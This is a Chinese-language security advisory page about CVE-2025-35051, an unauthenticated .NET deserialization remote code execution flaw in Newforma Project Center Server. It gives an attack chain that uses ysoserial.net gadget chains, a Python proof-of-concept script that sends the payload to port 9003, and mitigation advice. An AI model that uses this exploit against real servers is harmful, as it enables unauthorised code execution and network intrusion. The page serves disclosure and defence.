IPBUF安全漏洞报告
English
CVE-2025-35051 CVSS 9.8 严重

CVE-2025-35051 Newforma Project Center Server 反序列化远程代码执行漏洞

披露日期: 2025-10-09
来源: 9119a7d8-5eab-497f-8521-727c672e3725

漏洞信息

漏洞编号
CVE-2025-35051
漏洞类型
不安全反序列化(不安全.NET反序列化导致远程代码执行)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Newforma Project Center Server (NPCS)

相关标签

远程代码执行RCE.NET反序列化不安全反序列化BinaryFormatter.NET RemotingNewformaProject Center ServerNPCS未授权访问

漏洞概述

CVE-2025-35051是Newforma Project Center Server(NPCS)中存在的一个高危远程代码执行漏洞,CVSS评分为9.8,属于严重级别。该漏洞源于NPCS服务端在9003/tcp端口上的'/ProjectCenter.rem'端点接受了未经充分验证的序列化.NET数据。.NET Remoting是微软提供的一种跨应用程序域通信框架,其默认的序列化机制BinaryFormatter和SoapFormatter存在严重的安全风险,当服务端未对传入的序列化数据进行严格类型过滤时,攻击者可以构造恶意的序列化payload,利用已知的安全漏洞链(如WindowsIdentity、PSObject等gadget)实现远程代码执行。

该漏洞特别危险之处在于其无需任何身份认证即可被利用,攻击者只需通过网络向目标服务器的9003端口发送精心构造的恶意序列化数据,即可触发反序列化过程并执行任意系统命令。成功利用后,攻击者将以'NT AUTHORITY\NetworkService'权限执行代码,该账户是Windows系统中常见的服务账户,具有较高的系统权限,可访问大量系统资源和网络资源。

根据Newforma官方的建议架构,该漏洞仅在内部网络中可访问,但若组织未正确实施网络分段或防火墙策略,攻击者仍可通过横向移动、VPN入侵或供应链攻击等方式触达该服务。该漏洞的披露由CISA及相关安全研究机构完成,并发布了CSAF安全公告(编号va-25-282-01),建议受影响的用户及时采取缓解措施。

技术细节

该漏洞的核心技术原理在于.NET Remoting框架的不安全反序列化机制。Newforma Project Center Server使用.NET Remoting在客户端与服务器之间进行通信,监听9003/tcp端口上的'/ProjectCenter.rem'端点。.NET Remoting默认使用BinaryFormatter进行对象序列化,而BinaryFormatter自.NET Framework早期版本起就被认为是不安全的,因为它允许在反序列化过程中实例化任意类型。

攻击利用方式如下:
1. 攻击者首先扫描目标网络,识别开放9003端口的Newforma NPCS服务器。
2. 攻击者使用ysoserial.net等工具,构造包含恶意gadget链的序列化payload。常见的gadget链包括:
- WindowsIdentity结合WindowsClaimsIdentity用于模拟身份
- PSObject配合System.Management.Automation执行PowerShell命令
- ObjectDataProvider用于调用任意方法
- TypeConfuseDelegate用于绕过类型检查
3. 攻击者通过TCP连接向目标的'/ProjectCenter.rem'端点发送恶意序列化数据。
4. 服务端接收到数据后,使用BinaryFormatter进行反序列化,触发gadget链,最终执行攻击者预设的命令。
5. 攻击代码以'NT AUTHORITY\NetworkService'账户权限运行,可执行任意系统操作,包括安装后门、窃取数据、横向移动等。

由于该漏洞无需认证(PR:N)且无需用户交互(UI:N),攻击复杂度低(AC:L),属于典型的可被蠕虫化利用的高危漏洞。

攻击链分析

STEP 1
1. 目标侦察
攻击者通过端口扫描(如nmap)识别目标网络中开放9003/tcp端口的Newforma Project Center Server服务器,并确认'/ProjectCenter.rem'端点的存在。
STEP 2
2. Payload构造
攻击者使用ysoserial.net等工具,结合WindowsIdentity、PSObject、ObjectDataProvider等已知gadget链,构造恶意的.NET序列化payload,payload中包含要执行的系统命令(如反弹shell、下载执行等)。
STEP 3
3. 恶意请求发送
攻击者通过TCP连接向目标服务器的9003端口发送精心构造的序列化数据,由于漏洞无需认证,服务器直接接收并处理该请求。
STEP 4
4. 反序列化触发
服务端使用BinaryFormatter对传入的序列化数据进行反序列化,恶意gadget链被触发,攻击者预设的任意代码在服务器进程中执行。
STEP 5
5. 系统权限获取
攻击代码以'NT AUTHORITY\NetworkService'权限运行,攻击者获得对目标服务器的控制权,可执行任意系统操作。
STEP 6
6. 持久化与横向移动
攻击者安装后门、创建计划任务或服务实现持久化,并利用获取的权限在内网中进行横向移动,攻击其他系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-35051 - Newforma Project Center Server .NET Remoting Deserialization RCE # Exploit using ysoserial.net to generate payload and send via TCP import socket import struct import subprocess import sys TARGET_HOST = "192.168.1.100" # Target NPCS server TARGET_PORT = 9003 # NPCS .NET Remoting port ENDPOINT = "/ProjectCenter.rem" def generate_payload(command): """Generate .NET deserialization payload using ysoserial.net""" # Use WindowsIdentity or PSObject gadget chain # Example: ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "<command>" cmd = [ "ysoserial.exe", "-g", "WindowsIdentity", "-f", "BinaryFormatter", "-c", command ] result = subprocess.run(cmd, capture_output=True) return result.stdout def send_remoting_request(payload): """Send malicious payload to .NET Remoting endpoint""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((TARGET_HOST, TARGET_PORT)) # Construct .NET Remoting request header # The endpoint URI is embedded in the request uri = ENDPOINT.encode('utf-8') # Build the .NET Remoting message envelope # Prepend the serialized object with proper framing request = b"\x00\x00\x00\x00" + payload sock.send(request) response = sock.recv(4096) sock.close() return response except Exception as e: print(f"[ERROR] Connection failed: {e}") return None def exploit(command="calc.exe"): """Main exploit function""" print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}{ENDPOINT}") print(f"[*] Command to execute: {command}") payload = generate_payload(command) if payload: print(f"[+] Payload generated: {len(payload)} bytes") response = send_remoting_request(payload) if response: print("[+] Payload sent successfully") print(f"[+] Server response: {response[:100]}") else: print("[-] No response received") if __name__ == "__main__": cmd = sys.argv[1] if len(sys.argv) > 1 else "calc.exe" exploit(cmd)

影响范围

Newforma Project Center Server (NPCS) - 所有未打补丁的版本

防御指南

临时缓解措施
在无法立即应用补丁的情况下,建议采取以下临时缓解措施:1)在网络边界防火墙和主机防火墙中限制9003/tcp端口的访问,仅允许必要的内部管理IP访问该端口;2)实施网络分段,将Newforma Project Center Server部署在独立的VLAN或子网中,限制其与其他系统的网络通信;3)部署网络入侵检测系统(NIDS),配置规则检测异常的.NET序列化流量和ysoserial工具特征;4)监控NPCS服务器的进程行为和网络连接,发现可疑活动立即隔离;5)考虑临时关闭非必要的NPCS服务,或在反向代理后部署WAF进行流量过滤。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表